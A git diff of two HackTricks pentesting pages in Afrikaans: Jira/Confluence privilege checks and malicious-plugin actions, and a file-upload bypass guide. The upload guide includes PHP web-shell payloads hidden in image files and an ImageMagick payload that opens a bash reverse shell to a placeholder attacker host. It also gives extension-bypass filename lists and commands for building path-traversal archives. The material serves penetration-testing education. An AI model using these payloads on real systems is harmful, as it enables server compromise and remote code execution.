Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -15,7 +15,7 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na personeel!** (_vloeiend in geskryf en gesproke Pools vereis_).
@ -23,9 +23,9 @@ As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op
## Kontroleer Privileges
In Jira, **kan enige gebruiker, geverifieer of nie, privileges kontroleer** deur die eindpunte `/rest/api/2/mypermissions` of `/rest/api/3/mypermissions`. Hierdie eindpunte onthul die gebruiker se huidige privileges. 'n Noemenswaardige bekommernis ontstaan wanneer **nie-geverifieerde gebruikers privileges hou**, wat 'n **veiligheidskwesbaarheid** aandui wat moontlik in aanmerking kan kom vir 'n **bounty**. Net so beklemtoon **onverwagte privileges vir geverifieerde gebruikers** ook 'n **kwesbaarheid**.
In Jira, **privileges kan deur enige gebruiker nagegaan word**, geverifieer of nie, deur die eindpunte `/rest/api/2/mypermissions` of `/rest/api/3/mypermissions`. Hierdie eindpunte onthul die gebruiker se huidige privileges. 'n Noemenswaardige bekommernis ontstaan wanneer **nie-geverifieerde gebruikers privileges hou**, wat 'n **veiligheidskwesbaarheid** aandui wat moontlik in aanmerking kan kom vir 'n **bounty**. Net so, **onverwagte privileges vir geverifieerde gebruikers** beklemtoon ook 'n **kwesbaarheid**.
'n Belangrike **opdatering** is gemaak op **1 Februarie 2019**, wat vereis dat die 'mypermissions' eindpunt 'n **'permission' parameter** insluit. Hierdie vereiste is daarop gemik om **veiligheid te verbeter** deur die privileges wat gevra word spesifiek aan te dui: [kontroleer dit hier](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
'n Belangrike **opdatering** is gemaak op **1 Februarie 2019**, wat vereis dat die 'mypermissions' eindpunt 'n **'permission' parameter** insluit. Hierdie vereiste is daarop gemik om **veiligheid te verbeter** deur die privileges wat nagegaan word, spesifiek aan te dui: [kyk dit hier](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
* ADD\_COMMENTS
* ADMINISTER
@ -112,40 +112,40 @@ public BodyType getBodyType() { return BodyType.NONE; }
public OutputType getOutputType() { return OutputType.BLOCK; }
}
```
It's possible to observe that these plugins might be vulnerable to common web vulnerabilities like XSS. For example the previous example is vulnerable because it's reflecting data given by the user.&#x20;
Dit is moontlik om te observeer dat hierdie plugins kwesbaar mag wees vir algemene web kwesbaarhede soos XSS. Byvoorbeeld, die vorige voorbeeld is kwesbaar omdat dit data wat deur die gebruiker gegee is, reflekteer.&#x20;
Sodra 'n XSS gevind is, kan jy in [**hierdie github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) 'n paar payloads vind om die impak van die XSS te verhoog.
## Backdoor Plugin
## Agterdeur Plugin
[**Hierdie pos**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) beskryf verskillende (kwaadwillige) aksies wat 'n kwaadwillige Jira plugin kan uitvoer. Jy kan [**kode voorbeeld in hierdie repo**](https://github.com/cyllective/malfluence) vind.
Hierdie is sommige van die aksies wat 'n kwaadwillige plugin kan uitvoer:
Hierdie is 'n paar van die aksies wat 'n kwaadwillige plugin kan uitvoer:
* **Plugins van Admins wegsteek**: Dit is moontlik om die kwaadwillige plugin weg te steek deur 'n paar front-end javascript in te voeg.
* **Exfiltrating Attachments and Pages**: Laat toe om toegang te verkry en al die data te exfiltreer.
* **Stealing Session Tokens**: Voeg 'n eindpunt by wat die headers in die antwoord (met die koekie) sal weergee en 'n paar javascript wat dit sal kontak en die koekies sal lek.
* **Command Execution**: Of dit is moontlik om 'n plugin te skep wat kode sal uitvoer.
* **Plugins vir Administrators wegsteek**: Dit is moontlik om die kwaadwillige plugin weg te steek deur 'n paar front-end javascript in te voeg.
* **Exfiltrering van Aanhangsels en Bladsye**: Laat toe om toegang te verkry en al die data te exfiltreer.
* **Steling van Sessietokens**: Voeg 'n eindpunt by wat die headers in die antwoord (met die koekie) sal weergee en 'n paar javascript wat dit sal kontak en die koekies sal lek.
* **Opdraguitvoering**: Dit is natuurlik moontlik om 'n plugin te skep wat kode sal uitvoer.
* **Reverse Shell**: Of kry 'n reverse shell.
* **DOM Proxying**: As die confluence binne 'n private netwerk is, sal dit moontlik wees om 'n verbinding deur die blaaskans van 'n gebruiker met toegang daartoe te vestig en byvoorbeeld die bediener opdragte deur dit uit te voer.
* **DOM Proxying**: As die confluence binne 'n private netwerk is, sal dit moontlik wees om 'n verbinding deur die blaaier van 'n gebruiker met toegang daartoe te vestig en byvoorbeeld die bediener opdragte deur dit uit te voer.
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_vloeiend Pools geskryf en gesproke vereis_).
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Ondersteun HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,9 +15,9 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
As jy belangstel in **hacking loopbaan** en om die onhackbare te hack - **ons is besig om aan te stel!** (_vloeiend in geskryf en gesproke Pools vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -36,7 +36,7 @@ Ander nuttige uitbreidings:
### Bypass file extensions checks
1. As hulle van toepassing is, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met 'n paar **hoofletters**: _pHp, .pHP5, .PhAr ..._
1. As hulle van toepassing is, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met **hoofdletters**: _pHp, .pHP5, .PhAr ..._
2. _Kontroleer **om 'n geldige uitbreiding voor** die uitvoeringsuitbreiding toe te voeg (gebruik ook vorige uitbreidings):_
* _file.png.php_
* _file.png.Php5_
@ -50,7 +50,7 @@ Ander nuttige uitbreidings:
* _file._
* _file.php...._
* _file.pHp5...._
4. Probeer om die beskermings te omseil **deur die uitbreiding parser** van die bediener-kant te bedrieg met tegnieke soos **dubbel** die **uitbreiding** of **rommel** data (**null** bytes) tussen uitbreidings. _Jy kan ook die **vorige uitbreidings** gebruik om 'n beter payload voor te berei._
4. Probeer om die beskermings te omseil **deur die uitbreiding parser** van die bediener-kant te mislei met tegnieke soos **dubbel** die **uitbreiding** of **rommel** data (**null** bytes) tussen uitbreidings. _Jy kan ook die **vorige uitbreidings** gebruik om 'n beter payload voor te berei._
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
@ -64,7 +64,7 @@ Ander nuttige uitbreidings:
* _file.php%00.png%00.jpg_
6. Probeer om die **exec uitbreiding voor die geldige uitbreiding** te plaas en bid dat die bediener verkeerd geconfigureer is. (nuttig om Apache misconfigurasies te benut waar enigiets met uitbreiding\*\* _**.php**_**, maar** nie noodwendig eindig in .php\*\* sal kode uitvoer):
* _ex: file.php.png_
7. Gebruik **NTFS alternatiewe datastroom (ADS)** in **Windows**. In hierdie geval sal 'n kolon karakter “:” na 'n verbode uitbreiding ingevoeg word en voor 'n toegelate een. As gevolg hiervan sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lêer kan later met ander tegnieke soos die gebruik van sy kort lêernaam gewysig word. Die “**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit ook nuttig wees om 'n puntkarakter na hierdie patroon toe te voeg om verdere beperkings te omseil (.bv. “file.asp::$data.”)
7. Gebruik **NTFS alternatiewe datastroom (ADS)** in **Windows**. In hierdie geval sal 'n kolon karakter “:” na 'n verbode uitbreiding ingevoeg word en voor 'n toegelate een. As gevolg hiervan sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lêer kan later met ander tegnieke soos om sy kort lêernaam te gebruik, gewysig word. Die “**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon toe te voeg om verdere beperkings te omseil (.bv. “file.asp::$data.”)
8. Probeer om die lêernaam beperkings te breek. Die geldige uitbreiding word afgesny. En die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php
```
@ -82,13 +82,13 @@ AAA<--SNIP 232 A-->AAA.php.png
* Bypass **Content-Type** kontroles deur die **waarde** van die **Content-Type** **kop** in te stel op: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **woordlys**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* Bypass **magic number** kontrole deur aan die begin van die lêer die **bytes van 'n werklike beeld** toe te voeg (verwar die _file_ opdrag). Of stel die skulp in die **metadata** in:\
* Bypass **magic number** kontrole deur aan die begin van die lêer die **bytes van 'n werklike beeld** toe te voeg (verwar die _file_ opdrag). Of stel die shell in die **metadata** in:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` of jy kan ook die **payload direk** in 'n beeld invoeg:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* As **kompressie aan jou beeld** bygevoeg word, byvoorbeeld deur 'n paar standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
* As **kompressie aan jou beeld** bygevoeg word, byvoorbeeld deur sommige standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
* [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* Die webblad kan ook die **beeld** **hergroott** deur byvoorbeeld die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
* Die webblad kan ook die **beeld** **hergroott**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
* [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* 'n Ander tegniek om 'n payload te maak wat **'n beeld hergroott**, is om die PHP-GD funksie `thumbnailImage` te gebruik. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
* [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
@ -102,8 +102,8 @@ AAA<--SNIP 232 A-->AAA.php.png
2. Laai 'n lêer op met die **naam** van 'n **lêer** of **map** wat **reeds bestaan**
3. Laai 'n lêer op met **“.”, “..”, of “…” as sy naam**. Byvoorbeeld, in Apache in **Windows**, as die toepassing die opgelaaide lêers in die “/www/uploads/” gids stoor, sal die “.” lêernaam 'n lêer genaamd “uploads” in die “/www/” gids skep.
4. Laai 'n lêer op wat dalk nie maklik verwyder kan word nie, soos **“…:.jpg”** in **NTFS**. (Windows)
5. Laai 'n lêer in **Windows** op met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows)
6. Laai 'n lêer in **Windows** op met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
5. Laai 'n lêer op in **Windows** met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows)
6. Laai 'n lêer op in **Windows** met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
* Probeer ook om 'n **uitvoerbare lêer** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer geopen word.
### Spesiale uitbreiding truuks
@ -113,11 +113,11 @@ As jy probeer om lêers na 'n **ASP bediener** op te laai, [kyk na die **.config
Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **gebruik word soos 'n php lêer** (dit met php uitvoer, of dit binne 'n skrip insluit...)
Die `.inc` uitbreiding word soms gebruik vir php lêers wat slegs gebruik word om **lêers in te voer**, so, op 'n stadium, kon iemand **toelaat dat hierdie uitbreiding uitgevoer word**.
Die `.inc` uitbreiding word soms gebruik vir php lêers wat slegs gebruik word om **lêers in te voer**, so, op 'n stadium, kon iemand **hierdie uitbreiding toegelaat het om uitgevoer te word**.
## **Jetty RCE**
As jy 'n XML-lêer in 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos genoem in die volgende beeld, laai die XML-lêer op na `$JETTY_BASE/webapps/` en verwag die skulp!
As jy 'n XML-lêer in 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **nuwe \*.xml en \*.war outomaties verwerk**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos genoem in die volgende beeld, laai die XML-lêer op na `$JETTY_BASE/webapps/` en verwag die shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
@ -125,9 +125,9 @@ As jy 'n XML-lêer in 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **n
Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Afgeleë Opdrag Uitvoering (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie funksie kan gemanipuleer word vir slegte doeleindes soos Afgeleë Opdrag Uitvoering of Willekeurige Lêer Skryf/Lees wanneer 'n `.ini` konfigurasielêer verwerk word.
Remote Command Execution (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI, is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie kenmerk kan gemanipuleer word vir slegte doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word.
Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskillende skemas toon:
Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskeie skemas toon:
```ini
[uwsgi]
; read from a symbol
@ -149,10 +149,10 @@ Die uitvoering van die payload vind plaas tydens die ontleding van die konfigura
Dit is van kardinale belang om die los aard van uWSGI se konfigurasie-lêerontleding te verstaan. Spesifiek kan die bespreekte payload in 'n binêre lêer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van potensiële uitbuiting verder verbreed.
## **wget File Upload/SSRF Trick**
## **wget Lêer Laai/SSRF Trick**
In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lêers** te **aflaai** en jy kan die **URL** **aangee**. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. egter, **hierdie kontrole kan omseil word.**\
Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, egter, **wget** sny die lêernames tot **236** karakters. Jy kan 'n lêer aflaai wat "A"\*232+".php"+".gif" genoem word, hierdie lêernaam sal die **kontrole omseil** (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**.
In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lêers** te **af te laai** en jy kan die **URL** **aandui**. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. egter, **hierdie kontrole kan omseil word.**\
Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, egter, **wget** sny die lêernames tot **236** karakters. Jy kan 'n lêer aflaai wat "A"\*232+".php"+".gif" genoem word, hierdie lêernaam sal die **kontrole** **omseil** (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -175,9 +175,9 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Note that **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil, is om die **HTTP-bediener te laat herlei na 'n ander lêer**, sodat die aanvanklike URL die kontrole sal omseil en dan sal wget die herleide lêer met die nuwe naam aflaai. Dit **sal nie werk nie** **tenzij** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herleide bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is, sal aflaai**.
Note dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil, is om die **HTTP-bediener te laat herlei na 'n ander lêer**, sodat die aanvanklike URL die kontrole sal omseil en dan sal wget die herleide lêer met die nuwe naam aflaai. Dit **sal nie werk nie** **tenzij** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herleide bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is, sal aflaai**.
## Tools
## Gereedskap
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) is 'n kragtige hulpmiddel wat ontwerp is om Pentesters en Bug Hunters te help om lêeroplaadmeganismes te toets. Dit benut verskeie bug bounty tegnieke om die proses van die identifisering en benutting van kwesbaarhede te vereenvoudig, wat deeglike assesserings van webtoepassings verseker.
@ -193,7 +193,7 @@ Note that **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil,
* [**Open Redirect** deur die oplaad van svg lêer](../open-redirect.md#open-redirect-uploading-svg-files)
* Probeer **verskillende svg payloads** van [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* [Beroemde **ImageTrick** kwesbaarheid](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* As jy kan **aandui dat die webbediener 'n beeld van 'n URL moet vang**, kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/) te misbruik. As hierdie **beeld** in 'n **publieke** webwerf **gestoor** gaan word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en **inligting van elke besoeker steel**.
* As jy kan **die webbediener aanwys om 'n beeld van 'n URL te vang**, kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/) te misbruik. As hierdie **beeld** in 'n **publieke** webwerf **gestoor** gaan word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aanwys en **inligting van elke besoeker steel**.
* [**XXE en CORS** omseiling met PDF-Adobe oplaad](pdf-upload-xxe-and-cors-bypass.md)
* Spesiaal saamgestelde PDF's vir XSS: Die [volgende bladsy toon hoe om **PDF-data in te spuit om JS-uitvoering te verkry**](../xss-cross-site-scripting/pdf-injection.md). As jy PDF's kan oplaai, kan jy 'n paar PDF's voorberei wat arbitrêre JS sal uitvoer volgens die gegewe aanwysings.
* Laai die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud op om te kyk of die bediener enige **antivirus** het
@ -212,11 +212,11 @@ Hier is 'n top 10 lys van dinge wat jy kan bereik deur op te laai (van [hier](ht
9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Burp Extension
#### Burp Uitbreiding
{% embed url="https://github.com/portswigger/upload-scanner" %}
## Magic Header Bytes
## Magiese Header Bytes
* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
* **JPG**: `"\xff\xd8\xff"`
@ -246,7 +246,7 @@ python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Daarnaast is die **symlink truuk met evilarc** 'n opsie. As die doelwit is om 'n lêer soos `/flag.txt` te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute tydens sy werking ondervind nie.
Boonop is die **symlink truuk met evilarc** 'n opsie. As die doelwit is om 'n lêer soos `/flag.txt` te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute tydens sy werking ondervind nie.
Hieronder is 'n voorbeeld van Python-kode wat gebruik word om 'n kwaadwillige zip-lêer te skep:
```python
@ -302,9 +302,9 @@ viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Inbedde PHP Shell op PNG
## Inbedden van PHP Shell in PNG
Inbedde 'n PHP shell in die IDAT-gedeelte van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word om beelde te hergroei en te hersampel. Die vermoë van die ingeslote PHP shell om onaangeraak deur hierdie operasies te bly, is 'n beduidende voordeel vir sekere gebruiksgevalle.
Inbedden van 'n PHP shell in die IDAT-gedeelte van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word om beelde te hergroei en te hersampel. Die vermoë van die ingeslote PHP shell om onaangeraak deur hierdie operasies te bly, is 'n beduidende voordeel vir sekere gebruiksgevalle.
'n Gedetailleerde verkenning van hierdie tegniek, insluitend die metodologie en potensiële toepassings, word in die volgende artikel verskaf: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en sy implikasies.
@ -312,9 +312,9 @@ Meer inligting in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-i
## Polyglot Lêers
Polyglot lêers dien as 'n unieke hulpmiddel in kuberveiligheid, wat optree as kameleons wat geldig in verskeie lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat beide as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie paar nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar.
Polyglot lêers dien as 'n unieke hulpmiddel in kuberveiligheid, wat optree as kameleons wat geldig in verskeie lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat sowel as 'n GIF as 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie paar nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar.
Die kernnut van polyglot lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op grond van tipe skerm. Gewone praktyk in verskeie toepassings behels die toelaat van slegs sekere lêertipes vir opgelaai—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP, of Phar-lêers) inhou, te verminder. 'n Polyglot, deur te voldoen aan die struktuurvereistes van verskeie lêertipes, kan egter stilweg hierdie beperkings omseil.
